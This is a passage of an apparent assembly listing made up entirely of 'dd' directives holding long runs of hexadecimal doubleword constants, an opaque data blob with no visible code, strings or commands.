4F920D00h dd 6CC12E17h, 1B09581Ch, 0A800804Ch, 2D35B4Ch, 7900B2FBh dd 0FFAC9D3Ah, 84993h, 0BEF707D4h, 0E6DFE57Dh, 75D5F800h dd 0CD3F4F94h, 0A48F090Dh, 8C00E220h, 54D63C77h, 0F4FF2224h dd 406BF003h, 740BD88Bh, 5B377B4h, 1314B29Ah, 79B4900Ah dd 0A658D0BCh, 4C007304h, 543A654Eh, 0B9A988Fh, 0EFF64EBh dd 9B80F820h, 0F700F0DCh, 925B1E96h, 719EBAA1h, 275C0010h dd 0E0A9625Fh, 11C7CA55h, 0C4F096FCh, 0F2BA810Eh, 0CF53032Eh dd 31DA33B1h, 0F609C5D8h, 0BDFE6800h, 763EEC28h, 5C42005Dh dd 44855440h, 0E10EA3B6h, 9C4FD2D6h, 20D5290Eh, 0AFA1C69h dd 2D300EC8h, 801EAD9Eh, 0DEEED18h, 0D0C33922h, 891AE670h dd 10802EE9h, 715F53E3h, 1057A17h, 0B0C9164Ch, 4AD7CA0h dd 0E5E367D4h, 0F8510031h, 0FBCD27Dh, 4EC4A752h, 0AB9394E0h dd 442D787Ch, 4E494B8h, 38CA40B4h, 0DCC4F006h, 28924A03h dd 23F7E9Eh, 0DBFE8C48h, 0F80E3Eh, 30F4F018h, 5A63570h dd 938F7947h, 325CD05Ch, 150966FCh, 200CDCCDh, 0EA172A54h dd 0CB89429h, 1912D136h, 47E6630Bh, 0B304A1C8h, 0B8F78FEBh dd 177E186h, 0F99F01EEh, 0DD4630CFh, 0B69AD025h, 34D53200h dd 3B46219h, 0ABBE0092h, 0CEA8B80Fh, 6B004BAFh, 786D8CBFh dd 0C9A506h, 7D21B13Eh, 0D2B29EF9h, 0EBBA900h, 9F84B632h dd 0AE280AFDh, 1C88CF47h, 385C0EAh, 0CA77E20h, 15D81E1Ch dd 0ED013196h, 0EE659A6Bh, 90439443h, 3A8C6A33h, 0B3808183h dd 2C900AECh, 0E200D0B1h, 0EFF4E955h, 7E4FF131h, 6B580020h dd 83FD6288h, 7A00921Eh, 2A595B5Eh, 0BB9735h, 251F2B10h dd 0BDB693A4h, 28A96C26h, 6A754D00h, 0A230EAh, 3874391h dd 704198EBh, 2DED5F01h, 0A47C5AEh, 902CBDD4h, 0D52309C9h dd 38E057D4h, 2A00C0EDh, 0EF3BB529h, 980AEE7Ah, 32351728h dd 91149C61h, 4A5FFF00h, 9EC9AA18h, 0D87500F1h, 0DDF8FDBBh dd 0F40040A2h, 9F0A5FB2h, 0EC6C717h, 29B0C5A4h, 0C17F8620h dd 9300DB57h, 6A63B3F2h, 77DE0BE5h, 245B0909h, 0A18739D5h dd 2083A261h, 0D2BA60E3h, 9800A87Ah, 0E203B929h, 78DCD63h dd 0AB87D308h, 0C4F9936Dh, 511C8AF8h, 0E53DA700h, 10F74956h dd 774A24B2h, 0E2B70205h, 0D0C0E926h, 0E00ED4Dh, 62FF6E6Fh dd 0C1443DDh, 0E8DF4E0Bh, 0C91EC120h, 0AD40E5CFh, 0EB545D3Fh dd 0D55F82h, 3C5693F8h, 0CE053B23h, 0A45C8A79h, 939930E0h dd 4540437Ch, 0A2D28801h, 0C29E0220h, 2757470h, 2DEAB187h dd 0B4A3A0C0h, 3665EF72h, 0D0B0D241h, 195917E4h, 0BCE1076Bh dd 0DCAF11A2h, 15F9FBB9h, 7E8695Eh, 6B404585h, 0A1B46D90h dd 5C1600A4h, 68A7C32Eh, 0D249620h, 6700E042h, 7662DDAAh dd 7F5F3BE0h, 0F852780h, 0DA541007h, 28533630h, 2468D9B0h dd 709916h, 0C1A13AECh, 341D79A9h, 8CDEFD2Ah, 0CC0A5DCh dd 0B499F4F2h, 327600E0h, 919D3382h, 6A0072CAh, 6B96B8FDh dd 9A10F18h, 505AF6BDh, 0BF86C0Ah, 8A0C0CCh, 7DCDE0E9h dd 355D9C00h, 9FAFF3D7h, 0EBED002Dh, 5A498102h, 0A603DB39h dd 979831B0h, 10419006h, 0EEE0ACh, 966570BDh, 83AF1895h dd 50D7165Ch, 0DE20816Ch, 4ECECh, 5A856E56h, 0FED27F4h dd 14B44200h, 0FF62C038h, 3A0738Ch, 1632A219h, 0B1C848EDh dd 0F09CFAEh, 40A37037h, 15B079Ch, 0FD2EC19Eh, 53E6D659h dd 90030ED4h, 8A50C3C4h, 0B6248079h, 60DE5C2Bh, 2D1EAD00h dd 8795F22Fh, 23314700h, 97DF8C10h, 478B0F7h, 68E3E876h dd 0EB88805Ch, 2F0027B9h, 8A226788h, 11C7BAh, 0DB05D246h dd 3396F51Dh, 454B38B0h, 0BA345880h, 48E400CAh, 844F37C7h dd 0B8049001h, 0BFA69279h, 2D4308C0h, 3ECE8CCh, 0B4AAE17Ch dd 13F33915h, 6368E0ECh, 0DD0E0C9Ah, 203501CAh, 0E75F8D47h dd 9A267F72h, 8B048E4h, 1128C018h, 0F812FB7Eh, 0CCA073C3h dd 0E27D1DEBh, 0B8006D06h, 4EAAC626h, 0F62D900h, 6BD07C31h dd 6F12008Ch, 18B06DD3h, 2A72B434h, 87A0983Bh, 2DC020FDh dd 3234A0EBh, 0B0AAB82Bh, 50010161h, 1335840Eh, 56B88C36h dd 2092103Eh, 2E78A7D8h, 91676D05h, 0DEC03752h, 0D5FF9Dh dd 0CE79A546h, 8020591Dh, 249EE000h, 0DE48ACFAh, 0D85B0015h dd 55F17810h, 70005667h, 52B89C50h, 3A8B283h, 7504C2B1h dd 95E76918h, 0B99C4A2Eh, 782818B8h, 0F1EC0721h, 0A8B81560h dd 74D6D9Ch, 311C5C8Fh, 0B585E9h, 6499B908h, 84001EACh dd 0A46E2865h, 170DFAC6h, 6A9A52h, 5B83F3B9h, 0D500E1AFh dd 0A87E6FA9h, 0E4E0AB3Ah, 0D4300052h, 749FDAF5h, 0C7E446FFh dd 90EBC807h, 18101FC6h, 0FBA851h, 0D6E0FAE1h, 0C4BAAE3h dd 461BB3A0h, 7573B300h, 83D42B16h, 1EC400E2h, 1AE330F0h dd 9CFE01F1h, 0DBE93551h, 0B7921A8h, 3397A00h, 1328E79Eh dd 41F4DCh, 0FEF6544Bh, 10898270h, 0CDF95Ch, 0D5FC1CEEh dd 26CEE2h, 50AB1A9Ch, 981D1916h, 0AA01CC72h, 0E7B13515h dd 0E0C7B9DEh, 1C68C2E4h, 0AAF33A7h, 9CA41AC0h, 526F07FDh dd 0A40E9094h, 0D74EA9Ch, 5B212E60h, 4CF6F19h, 9F61DD08h dd 1D30D097h, 0FD03AD94h, 9C2BA10Ch, 0C1301841h, 3E3B3931h dd 0F5DBA300h, 77D89672h, 8113007Bh, 73E77E66h, 4A00EC1Ah dd 8929DE98h, 0BAD3C383h dd 38AF48B4h, 2FB76C0Ch, 51001211h, 5CB905DAh, 66B1AB01h dd 21470864h, 0DA58F103h, 0C80CAD4Dh, 674D728h, 65BD4F76h dd 7F98A012h, 0B21F5D00h, 5732311Eh, 0C9A760B5h, 66EB02CFh dd 83E65603h, 30EE2E21h, 1491C608h, 3FCEAFBh, 0B57EFA00h dd 4415B798h, 0A76703DFh, 97C959C6h, 5CD7C02Bh, 0DE599053h dd 1182000Bh, 0B7351609h, 0D8E692D6h, 984961C4h, 0B2E8B600h dd 7000ABAh, 0B5023681h, 114543h, 5FF2F971h, 84CAFB41h dd 0DEEB4903h, 0A86B23A8h, 347A9h, 0D2ACB7A0h, 76A1C15Ch dd 9515D400h, 835D0DF2h, 0A5CA04FEh, 0C0F66FEEh, 733CA29Ch dd 0FAB1E103h, 0C00B2E90h, 4E3A56h, 1BB8DD83h, 229DE6D8h dd 0D500BB75h, 15BD735Ah, 0E39928h, 0DFB5897Eh, 4DC0D708h dd 0C84F1A00h, 74B2C1B6h, 5D6B02A7h, 0B46AFE15h, 798B9B60h dd 6F88BD01h, 0A7807118h, 21D90898h, 790094CAh, 63BAAC27h dd 1DE688A9h, 0C3F751EBh, 4F17C84Bh, 582375EBh, 798F0309h dd 62A488B9h, 98BE20D6h, 6F3EF779h, 2D4480ABh, 3453E6F2h dd 1AC300A6h, 0A837240Ah, 0CD00F1B0h, 0B46BA48Ch, 37D27C53h dd 21211B16h, 31CDF0E6h, 1D2083A2h, 4CE7A2Ch, 0BC47E240h dd 7C7301ACh, 389F1446h, 0D9E408ECh, 98016A07h, 417196h dd 6128965Ch, 0B84794F4h, 8CC55B8h, 0B12160h, 0ACA1288Eh dd 0F0F1EA9Bh, 4B8D5E1Dh, 8452E70Ah, 0D70CBF48h, 3886105Ah dd 6900F12Bh, 0F2CC9F22h, 0E0F80AF5h, 59386F00h, 0C52C20FAh dd 9CE10315h, 3319048Dh, 225CA2C0h, 80988039h, 758831C8h dd 0CAD0EBh, 0FAE6812h, 0B64DB76Eh, 0CBD2F0Fh, 5DBC4339h dd 8570D773h, 69306Ch, 8E5E03Fh, 0AD5ECAB7h, 54013379h dd 851CC27Bh, 0A6F1B2B9h, 0B404CD8h, 5EF9C0F5h, 37096480h dd 750108AFh, 0EDF455CFh, 9984E32h, 100F21EAh, 50277500h dd 46EF12DAh, 446D0945h, 0F0004DA9h, 8008E6B7h, 1AAB5200h dd 0DFB8D02Dh, 0D7CF0E36h, 0C080372Fh, 34FF9844h, 80182907h dd 4AD09A76h, 0EE602E25h, 0CF68C0B8h, 53630585h, 0B0E96D00h dd 4E8E79ADh, 4960D8B4h, 0CE0CDD09h, 11345202h, 75290017h dd 1403BDDFh, 1366B60Eh, 210B08h, 0F7752101h, 1AE4A089h dd 4142A600h, 0C1EC7060h, 0BCC6369Eh, 10465860h, 0E1752702h dd 0C3113BDh, 751EF710h, 0D0B81D1Dh, 0F77EDC9Ch, 21495230h dd 79D6FC63h, 1C8200D2h, 0D9E10854h, 760DE35Ah, 293F5302h dd 17B10D4h, 66C1DB01h, 0D427CC58h, 0E0508EBEh, 48C054Ch dd 0BDEC7524h, 3FF4382Bh, 0E781751Bh, 426FAE6Bh, 36DBE04Dh dd 23438809h, 0BC080047h, 0E47477h, 0B8FBA244h, 83B0AFB5h dd 4F827500h, 0AD2A45F0h, 4CDB00A8h, 0A4FFDE7Ah, 0C6073C94h dd 0AABAEEF7h, 0F00A067h, 7A5919F3h, 0A50300A6h, 6616A1A8h dd 0F400652Fh, 604980C7h, 76A31ECh, 0C8BD1A9Ah, 1FB40089h dd 2824E0A4h, 0EB005AA2h, 9229BC50h, 7F60046h, 0C9047DB8h dd 3900BE2Dh, 3B238FAh, 0E4139EFDh, 0F3F27Ch, 0FC0E5375h dd 8A3315F5h, 582BB300h, 86B7BBD7h, 0D5B103CEh, 0AA819CDEh dd 0EEC6301Eh, 0E9D0EF00h, 676CC9h, 16FD8D2Ah, 5989B3E4h dd 0F2FC9E0Fh, 262EC0F4h, 0EE39AA76h, 7C40C075h, 6EC3C151h dd 0E7137F07h, 0CB4018ADh, 37A9D74h, 9FAC4E8Ah, 3119CC65h dd 2798B9Ch, 75808C4Bh, 61595F9Dh, 27991601h, 0E204804Dh dd 3F2C6080h, 0A9BA2378h, 597A8130h, 1885C317h, 901913C1h dd 660C0703h, 0C8AADD31h, 0FEFF0EFAh, 0DDDDF521h, 8F0F030Eh dd 0AAA0778Ah, 49C18481h, 0D50C02FBh, 7D45B983h, 0CCD0A4E7h dd 0A501B690h, 816BC8DBh, 588098C5h, 6AF98E9Ch, 0F72C4677h dd 440057CCh, 0D4738599h, 32A0001Fh, 0CB1B3039h, 2E1DF358h dd 1400BB2Bh, 0DA219723h, 0EF380104h, 3F302FF8h, 8069D1F9h dd 0DA196521h, 78FD27A4h, 0A0430062h, 0D03D4AA2h, 3700CB12h dd 88C2AC50h, 1D2342FBh, 1A9B2Eh, 4F4F3B7h, 9C0321FAh dd 93FF83A7h, 0ED44FF6Fh, 0C05C5D44h, 6B598AC3h, 62A88600h dd 8C1DF594h, 4300324h, 31AFBEFDh, 70863005h, 100496F6h dd 0A9180294h, 157025B7h, 11FEDF35h, 52F0AD80h, 19CFE884h dd 8597CBAh, 3E2180D4h, 2F7DF06Ah, 0A4992E56h, 0FE7300EEh dd 0B31C4ED8h, 0ED87F30Ch, 50B47085h, 1732C25h, 59B603E5h dd 60891C6Ch, 80F1CD55h, 4411DD88h, 3EF53A15h, 2F815D91h dd 5906D593h, 68A1F0F3h, 530348h, 0FAC2B321h, 5D781Eh dd 79524C64h, 8996D530h, 5404BEF8h, 35D373F0h, 0F45826C0h dd 3FDD01C1h, 56F78E5Dh, 633DE07Eh, 0C0007FF2h, 0D6451185h dd 0DC8A83h, 62957624h, 0BABCB14Ch, 6E6B4000h, 9653A3AAh dd 0A760003Bh, 3AAF325Ch, 5006234h, 0F630C439h, 709C6887h dd 0DA9B3CD2h, 72B4B0Fh, 1540CF60h, 0D5001CF8h, 0C2284A37h dd 90DA03h, 7041BDBh, 0D8DDAF26h, 0B7EA0C03h, 0B87ABE24h dd 1CD3C2CCh, 8DC61385h, 0B10CD48h, 8F9FE004h, 0E210C0C5h dd 46BAF679h, 70DD2207h, 0E06FE86Fh, 0D3F36BF5h, 0D9160041h dd 0D6DF2BF4h, 4F00359Bh, 9085273Dh, 7E6CE26h, 84DD31Dh dd 0B6DF1055h, 9F00C21Ch, 0C5FBD6B3h, 0C15DEAh, 9BF38669h dd 51D1CD30h, 0FC72400h, 0CB9CB175h, 40351DF7h, 0F9BA40E4h dd 88B85192h, 4AE113Bh, 1C9E8D14h, 0A7500E80h, 0F673CBh dd 0E74834D4h, 0EAB9BBFh, 0E61EEF0Fh, 6BBC4E3Ch, 7890072Ah dd 0C6998A80h, 9D890012h, 9EA25DCCh, 500096D8h, 65F06EF1h dd 0D20D57h, 0C4419712h, 0BB2D1921h, 0BF157B0Fh, 0A7A8C059h dd 399309h, 5AE0742Fh, 0F2F090DFh, 7CC2403h, 0F82BE3B0h dd 325301h, 0D0BD56ACh, 0EB3E9625h, 0D8C0FBEEh, 0DDC4777Dh dd 0CFC03AB8h, 3053AEh, 7A50A68Fh, 0CCA81629h, 5E581395h dd 0FB4916A4h, 79CE80EBh, 4750656Ah, 4100AB98h, 5601BB3Eh dd 25C6419h, 8376309Ch, 90804FD6h, 0E0E43A90h, 8951A800h dd 6EE198EFh, 1CB66432h, 8E0490C5h, 0D603F824h, 0A914671Fh dd 36A80046h, 0AE53971Eh, 250043C3h, 4BB85D52h, 4823887Dh dd 0AC008A0Eh, 942633F0h, 8C39EF42h, 2DE68075h, 0F8385E45h dd 2B76009Ch, 131BF30h, 0B70F27F1h, 60A353EEh, 33F5A8B6h dd 26910313h, 11A975F7h, 0B587D800h, 363F4668h, 3BAF0F2h dd 1CA7CE4Ah, 2BC0E134h, 72008F69h, 0CF23EE73h, 0C355EBh dd 34DCD141h, 177A4FC0h, 0E0CBB530h, 767EAF3h, 3509AF8Bh dd 40D4AAh, 1BD886CCh, 187EFE93h, 18475BC3h, 1003EADh dd 4A0C1232h, 0FAA8D1h, 0B7C3EAAAh, 9DB370B4h, 16BEE501h dd 3C627EC9h, 0D73020h, 0FF2A1E79h, 0E412A297h, 0B8671C0Bh dd 1AE700FCh, 0E0285FDDh, 0F1DB0734h, 0A0D314E0h, 15EB646Bh dd 6083AB0Ch, 2882B4FAh, 5CC9275h, 0FD4EEEE4h, 9F8C40C1h dd 3F19B708h, 0B65A370Eh, 811FC0C7h, 0E8A82956h, 990006Ah dd 7C710B38h, 0B200A041h, 92C5A42Ch, 90150F5Dh, 721C0028h dd 901E340Bh, 37544F2Ah, 68F0A888h, 3A836C00h, 9D284ECAh dd 5ECDE4B4h, 242DECA2h, 41E1C3Bh, 1B7A1F62h, 51E940FDh dd 0AF9EFEA0h, 51316C30h, 1F7D5Eh, 0A3636DEBh, 0CEFFDA47h dd 0C7A12200h, 51B2FAA0h, 84FA76h, 291A77Dh, 8C47C925h dd 0D00F8500h, 73180DA9h, 4E1A0042h, 0DB67C8A2h, 61003843h dd 87CF7C13h, 0A164C4h, 7D6937ECh, 15B665B3h, 0E13E3400h dd 0AFD3800Ch, 0A9F90085h dd 1B396678h, 28008773h, 7A62C218h, 0BB98994h, 6BD4B160h dd 46E16280h, 8600A139h, 7EA58E04h, 0E01F5F57h, 525C0018h dd 22B24429h, 0B283E78h, 38578491h, 17AE00D4h, 0FA76F9C0h dd 0B2270033h, 1A1DD564h, 5748C418h, 49EE019Ch, 2F7CBF38h dd 0D3E3E0h, 4FB12803h, 799FD9B2h, 46FB7200h, 0DE3FCEB0h dd 0AC8F0063h, 0A507FF15h, 0CDFA37B8h, 42EB50Eh, 0A0972E73h dd 704D1B96h, 93640084h, 0E00CCD36h, 0BD00CA99h, 2D0F95BBh dd 0E143Eh, 968C1353h, 34D3EEDBh, 3046BF00h, 4272C69Ah dd 69C70579h, 904BAF99h, 2E802614h, 84F3CA00h, 0A2F4095Ch dd 11B900BCh, 0BDE122A8h, 0F7033174h, 3E5D2469h, 6AC7E4E2h dd 0AE71E80h, 3FFCF238h, 2FCCAB13h, 0A74CB600h, 5CA26C4Bh dd 0CACD8601h, 0B389F822h, 9E03D0h, 785E7FD0h, 0E442C5ADh dd 3CA04B00h, 794959E8h, 0F5BCF4FEh, 0BCD3420h, 71AEC69Dh dd 0D7529820h, 0C4055D14h, 0A2BA3CA4h, 72759100h, 9068E29Eh dd 8E950014h, 0F26DE4BCh, 0BA07E8F7h, 19C09A07h, 0E5B6170h dd 0B7ECD1h, 0D23732AEh, 0E6D86D46h, 43C1EE09h, 8B4C2022h dd 1DC32A1Dh, 0C1AD97F6h, 9F247BBFh, 0B484E05Fh, 2C8C48h dd 28925506h, 14FAB52h, 61881BC0h, 0F41964FDh, 300ECF1Ah dd 0A0B3859Eh, 7E5D6F5Eh, 589AE8D3h, 48009D9Dh, 0FA9B9E75h dd 778EC93h, 0FB70B876h, 2F004C7Bh, 538DC3E1h, 0CE46963h dd 6CEFD54Ah, 27005CD8h, 0CC741888h, 3DB763CAh, 878039D7h dd 3B0E10A2h, 2500AB8Dh, 1246A7BFh, 716561F6h, 571C0F0Fh dd 81C0FA28h, 3D849F9h, 0BBE1F800h, 87F7892Eh, 42FF02BCh dd 6C93E4B1h, 7BC2C840h, 0B2801900h, 0D0AD77CDh, 0D3E9009Ch dd 2E9031A2h, 40009517h, 84FC5A16h, 0FE4A85EAh, 3AF01Bh dd 1D5BDDCEh, 8B950E7Ch, 13E8B600h, 4C207EF5h, 0A4C9DC5Dh dd 1A330F4Ch, 0A71FBC40h, 0F61E131Eh, 0C0F09F2Fh, 38F1AA6Bh dd 0CA00CB66h, 0A2237C06h, 7200C878h, 571D4BE2h, 0F9EA9F3h dd 0FEC7DF19h, 22DDF1C0h, 710F47C4h, 0C9796C23h, 7C7C23CAh dd 3FE9F08Fh, 7056001Fh, 20BAFC1Bh, 0F30EA7A3h, 0E0C4D882h dd 9B2F2AE2h, 0CCA00343h, 0F113AFD1h, 907E1588h, 0DF7C6E00h dd 47AE14B8h, 0A4D005Dh, 0EBC02360h, 0C4BAD7C5h, 0BC95503Ch dd 78E40744h, 3F43B749h, 77A7A7C6h, 5C87181h, 11991FE3h dd 80C42679h, 0EFA6AFC9h, 0A75687C0h, 14BE2A2Ch, 2860F483h dd 9A6A2430h, 40D1041Ch, 0FE58B90Eh, 18979D83h, 80E73F6Ch dd 2018D706h, 0E78A295h, 21B700BEh, 0D4CCCA86h, 520D58A0h dd 20C3C009h, 14B6F6E8h, 400645EFh, 1F717A24h, 80BAB9AAh dd 0A7180CC8h, 6C07881h, 0C300A8F8h, 0F31ED716h, 5B052C1h dd 0E392175Ch, 0A19AC0E1h, 0B10053D3h, 4922A272h, 3BBF920h dd 58A37810h, 0C9A0B07Fh, 1400DE37h, 974FCD74h, 19EBC7h dd 3F7D2A94h, 46429964h, 4C2C2D00h, 30DAD636h, 7FEC392Bh dd 93A77609h, 5893944Fh, 4680291Fh, 0D4B98E3Ch, 0FD19001Dh dd 0C38B0EB8h, 0EDE24006h, 0DEA56914h, 0BE140788h, 0B312062h dd 0C450BDFAh, 0F4C45Ah, 32498971h, 0D8A6B70Dh, 3FCCC33Bh dd 6C50867Fh, 24209A25h, 1407B6CDh, 0E0F1206Fh, 0CF91811h dd 0CFEA759Dh, 0EF1FB3B9h, 0E14158FFh, 8952C6A0h, 21E90898h dd 0FF007712h, 0A8FA4DCAh, 0B987DFh, 397D1129h, 0BC5EA905h dd 0D4B8A11Fh, 0E3311986h, 934801F0h, 7B53CD13h, 0E8BC349Dh dd 0EC076B00h, 0D7A657C0h, 87F65C7h, 89A44332h, 0FBD00763h dd 6518F72Ch, 0A158CC90h, 5841060Bh, 0D8A2511Ch, 20030374h dd 8A10BCF4h, 3947A148h, 0FF536980h, 98663F1Dh, 24C440FDh dd 0BF636D08h, 885B52D1h, 51A55Fh, 3EA174BCh, 0C057BBCCh dd 0BF070894h, 0C93C3D30h, 0CD1E110Ch, 7648052h, 8C7FC02Bh dd 12884B44h, 8C077Ch, 944BA3Eh, 481EF3EBh, 1824D4DDh dd 389883B9h, 0A068B11Fh, 5445FFDEh, 758AA4FCh, 0E329C0ADh dd 0F1812D7Ch, 0C716E600h, 0FA19745Eh, 5BF400E0h, 0D683D289h dd 0D30C680Ch, 398FD473h, 6EE00A2h, 0E9FF4979h, 173A12C0h dd 219731E4h, 49202685h, 95391237h, 4DD04289h, 0D140F055h dd 93FE463Eh, 899991C2h, 0EA344012h, 13A4A8E0h, 64650EA7h dd 212F37E1h, 74382DC0h, 0D90AC536h, 64BA967Fh, 0ED5E3A80h dd 516557h, 7609FB26h, 0F516F9DFh, 83398100h, 44CAE35Eh dd 7477DF6h, 0BBFD14C3h, 7B716C49h, 0C0B04254h, 0F8AD9C00h dd 0DC4C04AFh, 6E60A0C6h, 3926300Dh, 2115F240h, 300AFB00h dd 0AB58607Ch, 490200BBh, 0C134460Bh, 114C64EEh, 0D21F77A8h dd 13C086EDh, 0ABCCFB93h, 0A3B47346h, 4531C880h, 0D966126Eh dd 7AA008C3h, 4BFF8AC0h, 0A119215Ah, 1520E591h, 0F2B88D00h dd 3EF3E44Ch, 3789861h, 21922DF8h, 0C101BF95h, 0E39058ADh dd 0EC30560Dh, 8866446h, 87F8A0BAh, 2290600Eh, 0C856C3F0h dd 52A00D67h, 0DE104ABDh, 6111580Ah, 2A077D80h, 608C47C0h dd 758721AFh, 23028E07h, 190E316h, 20C498CBh, 754012C0h dd 5B8800B9h, 569080CCh, 45965816h, 0A5AB4000h, 3822C766h dd 5389CB08h, 0D4007231h, 0AC77D846h, 5EA3A901h, 0CDEFF8C4h dd 52922FF0h, 59027C22h, 7E0DF090h, 7017BE31h, 0B3139061h dd 0A1F0A42Eh, 0B0DDE90Ah, 1DC45C80h, 0E0C86Dh, 14D642A0h dd 0BEF64F79h, 0AF211018h, 38A3ACB8h, 0AE930D8Dh, 0EDC000B0h dd 0C7C530C0h, 563E20C0h, 0A9AD2F29h, 7E1860A0h, 0C021077Fh dd 7686C06Fh, 0E5004007h, 0C5B414A5h, 0A0A43F29h, 80E6519Ch dd 0B5FC46A8h, 0AD60B960h, 50B1CC68h, 4CF61039h, 57021C19h dd 9FC0C494h, 90C6A085h, 0E644F430h, 32C84C51h, 9B7A1838h dd 830B81h, 95604D61h, 706907D1h, 0D8F81C1Dh, 0E21E1586h dd 0C4580DF0h, 0E058BC3Ch, 70A13066h, 0E5A1D8B5h, 8E1088C1h dd 242195D4h, 881FAC24h, 6C4CA752h, 8270273h, 87AEA675h dd 1278AC2Ch, 0A5940C0Eh, 2E487D19h, 8CB9BC70h, 2BBE3661h dd 0EA811F58h, 56497B55h, 6903280h, 0D30E750Dh, 42889868h dd 56BB0B41h, 0A138A1DFh, 0A843E103h, 7B099460h, 60769484h dd 0FC7E0629h, 94448C27h, 6210350h, 1E608A5Fh, 0C12AF810h dd 409C7B2Eh, 3A059C11h, 52DCB300h, 0EC2A8B23h, 38A54C4Bh dd 7DF25807h, 0CA0495Ah, 9B11CFF5h, 32C460F9h, 0C49C7A2Ah dd 2ABD5500h, 843395F9h, 9E83A0EFh, 840690E2h, 0DB9C02A0h dd 0ED31DC53h, 220240C4h, 0E5FCB91Fh, 0E4AC452Eh, 605062BBh dd 14F49B7h, 0B1B00475h, 20B31519h, 0D549EA08h, 30A3838h dd 1C92A0DAh, 0AC2FC841h, 0A34907B3h, 0A261FCAAh, 8620E13h dd 0EB91A060h, 265E3E80h, 0AC4C9C0Ch, 0B0215E08h, 0E8AB80CCh dd 78B1E1BAh, 5EB36C0Ah, 2280BC49h, 9A1A210Ch, 0D8C85431h dd 9958A0E9h, 7A9C09D9h, 4C4028FAh, 0A94D01D7h, 0CD693B08h dd 7ABC94h, 2F5D9C41h, 0B35F54A4h, 24213D2Ch, 0EED33980h dd 5975CBE3h, 5804443Ah, 0D0944CB4h, 1D513488h, 0B1BB70h dd 83842411h, 2E708290h, 10B1D8B1h, 6904B74h, 0A63D3571h dd 0BA08604Dh, 696BD1Bh, 7939ED08h, 0E5D1F4B1h, 9039718h dd 85112A84h, 4CC7C85Bh, 991E07F1h, 0C2578A3Eh, 88A30594h dd 0B93A879Fh, 0CBC98017h, 31BD718Bh, 0C26C0376h, 0B3A64B09h dd 86626007h, 40D0191Dh, 0CC3B49Bh, 90EDC4DCh, 4630BC40h dd 1DCF89D2h, 0DCA905CBh dd 0C003FB71h, 0F7692E9Ah, 84AFA02Ah, 0E128EE07h, 27907F5Eh dd 648FD2h, 0F29C3CDFh, 50CBEBA2h, 0B0A0AD18h, 43B731h dd 8AC89144h, 0D9F237D4h, 82DA6800h, 9FC5609Bh, 67ECD2h dd 2ED3C16h, 19F2C64Bh, 0A4926628h, 0EE027646h, 795A57FFh dd 7611011Ch, 53BCEAFFh, 4844DEB3h, 3D545816h, 45088C40h dd 15C6568Fh, 0A821DCBAh, 7B0E4800h, 0C434A1DFh, 8180E496h dd 9A26487h, 0D24014BEh, 6303A03Fh, 91CCC45Ah, 80D55024h dd 0B13AA740h, 4CF30098h, 0DBE3B0CAh, 0DA714622h, 317F5A04h dd 0A0904D7Bh, 3C77BADDh, 0E28073F6h, 918A8E75h, 5C0255CBh dd 22DE3702h, 0CC60403Ch, 0C87F819Bh, 2F493514h, 1FFEB85Ch dd 1656C979h, 0EE8401B2h, 23BAFB3Fh, 30B0A2C4h, 7A01B762h dd 1A466889h, 0EC20D105h, 0C2490965h, 1C00048Ah, 13FD535Fh dd 30A4CD75h, 2807770Eh, 0E08B92C0h, 6FDD16h, 0CCFE3DF8h dd 0C30F1154h, 5DB83AFFh, 40F2998Eh, 2B4913FBh, 9DF40069h dd 8A53F82Ah, 4B554507h, 88C04EECh, 2E05C0E4h, 0A90A5903h dd 94880C8Eh, 0BE4ABF03h, 0E3F992F5h, 9017F854h, 0E1C713DBh dd 5C440AD3h, 3D9685CCh, 2B8C90E6h, 0A126091Ch, 0ACBD78D8h dd 2AC27C77h, 1F978506h, 10007C99h, 62251h, 9B7CF9FBh dd 0B020A5B9h, 55B39809h, 8E00919Ah, 0FC434510h, 5B744F00h dd 0EEE0B08h, 28D0062h, 63591501h, 0A030234Ch, 0E6F231BBh dd 66050089h, 254AF175h, 0E0FC2EC6h, 0B7CE0E02h, 0C2D9B04Bh dd 0C18D0D44h, 9AB87028h, 8EA6028Ch, 8B8A3132h, 5ADCA080h dd 0FF006444h, 0A14951D3h, 5CE9F989h, 41733094h, 297888A6h dd 586506E7h, 0F400EEF6h, 18D8CDC8h, 99EADABEh, 3E7A0958h dd 0A731C20h, 5A005159h, 0D045CFE0h, 3D93BF57h, 9960409Ah dd 0BC9C668Fh, 5D69B962h, 787084DEh, 64062B60h, 0D0D84968h dd 238258h, 321ECB06h, 4B95D298h, 0AB5C8778h, 0B8BB2CEDh dd 34797CA9h, 0C01C8D18h, 2FE7F908h, 0E13802E4h, 221052DBh dd 5A276E5Ch, 0EA48B9C9h, 0C5933F00h, 4801685Ah, 3452450Eh dd 785E4C60h, 0CFB01DCCh, 27897C49h, 8CEC3FE5h, 200FA441h dd 96036711h, 0C0267C08h, 0D8C904Dh, 0E0485E4Ch, 490554Ah dd 62EC2B4Eh, 0F2C4B2F2h, 6F7530A4h, 0B5C4C002h, 79AEA530h dd 5C68A47Ch, 80CD4C21h, 1A251EDh, 0A73FFE0Bh, 0AA10AFBh dd 0BB86F8BEh, 7E31475Dh, 0AC652DC7h, 8193C404h, 618DF2F4h dd 0EBA0F30Ch, 5E1C4AC1h, 9D65B870h, 0CD390868h, 8B1A9960h dd 0C4931CDAh, 2CF028E8h, 88D8BFF5h, 5A83D511h, 7C8ECCCh dd 0AA44F420h, 546419DEh, 88BA7BF2h, 7A18DF64h, 0D53888h dd 0FE01D457h, 0F120C0FAh, 28B55000h, 0EEDBDAB1h, 968CE409h dd 0E4190994h, 74CD04A9h, 2E49CC60h, 88685284h, 92B09450h dd 0BB505C4h, 0EC9286DFh, 0A7FC005Fh, 510EAC11h, 4EDB0213h dd 0D4C234AAh, 1D9FE1E0h, 129F897h, 17F0484Dh, 0E44A112Dh dd 2500B085h, 0FB2608DBh, 3D02D65Ah, 0E69F8015h, 3EC94014h dd 6CA44A5Dh, 0F5AAC700h, 607276E7h, 97738Ch, 956ED7F0h dd 16D19637h, 9309B200h, 0C51B7A57h, 4D46008Eh, 19DE90F6h dd 0CE737B4Fh, 4A994700h, 1794531Dh, 2C72037Ah, 480C2F32h dd 0EED36BB0h, 0F1AADF00h, 0F7FB7C2Bh, 4E020067h, 85B105D1h dd 18C068D2h, 0F052DC84h, 742E7275h, 5BA5005Ah, 502A77D0h dd 6801F830h, 0B74944B1h, 1080FDA7h, 5E6B7E85h, 840AF4A2h dd 2872B16Ah, 0FDF6E480h, 61F2E76h, 42103894h, 9E3068CBh dd 55BC19E5h, 0C090E4Ch, 0F160E872h, 0D3BE7FDh, 35526D00h dd 98DFF95Eh, 